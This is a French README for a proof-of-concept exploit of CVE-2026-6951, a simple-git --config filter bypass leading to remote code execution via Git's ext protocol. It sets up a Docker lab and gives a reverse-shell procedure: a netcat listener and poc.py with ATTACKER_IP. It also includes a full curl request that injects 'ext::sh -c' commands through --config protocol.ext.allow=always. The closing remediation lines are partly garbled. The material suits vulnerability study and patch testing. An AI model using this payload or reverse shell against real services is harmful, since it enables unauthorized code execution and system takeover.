
Proof-of-concept d'exploit pour CVE-2026-6951, un contournement du filtre --config de simple-git permettant une RCE via le protocole Git ext, avec un lab Docker et une charge utile de reverse shell.
★ CVE-2026-6951 simple-git --config Option Filter Bypass RCE PoC ★
https://github.com/user-attachments/assets/4c992530-c5bb-4ff4-be5d-af0857eebb67
CVE-2026-6951 est une vulnérabilité d'exécution de code à distance dans
simple-gitcausée par un correctif incomplet pour CVE-2022-25912. Bien que l'option-cait été bloquée, l'option équivalente--confign'a pas été correctement restreinte. Un attaquant capable de contrôler les arguments Git peut activer le protocoleextet exécuter des commandes arbitraires via une URL de dépôtext::.
| Catégorie | Version |
|---|---|
| Vulnérable | versions de simple-git antérieures à 3.36.0 |
| Corrigée | simple-git 3.36.0 ou ultérieure |
Cet environnement utilise simple-git 3.35.2 et @simple-git/argv-parser 1.0.3.
Construisez et exécutez l'environnement vulnérable.
docker build -t cve-2026-6951 .
docker run --rm -d --name cve-2026-6951 -p 9107:9107 cve-2026-6951
Accédez au service à l'adresse :
http://127.0.0.1:9107
Vérifiez l'état du service.
curl -s http://127.0.0.1:9107/api/health
Le dépôt d'exemple intégré est disponible à l'adresse :
file:///srv/git/sample.git
Démarrez un listener sur le système de l'attaquant.
nc -lvnp 4444
Exécutez le script d'exploitation.
python3 poc.py http://127.0.0.1:9107 --lhost ATTACKER_IP --lport 4444
La requête suivante exécute la commande id en abusant de l'option --config non restreinte et du protocole ext de Git.
curl -s -X POST http://127.0.0.1:9107/api/import \
-H 'Content-Type: application/json' \
--data-raw '{
"repository":"ext::sh -c id% >&2",
"name":"id-check",
"options":["--config","protocol.ext.allow=always"],
"environment":{}
}'
simple-git vers la version 3.36.0 ou ultérieure.simple-git.ext::.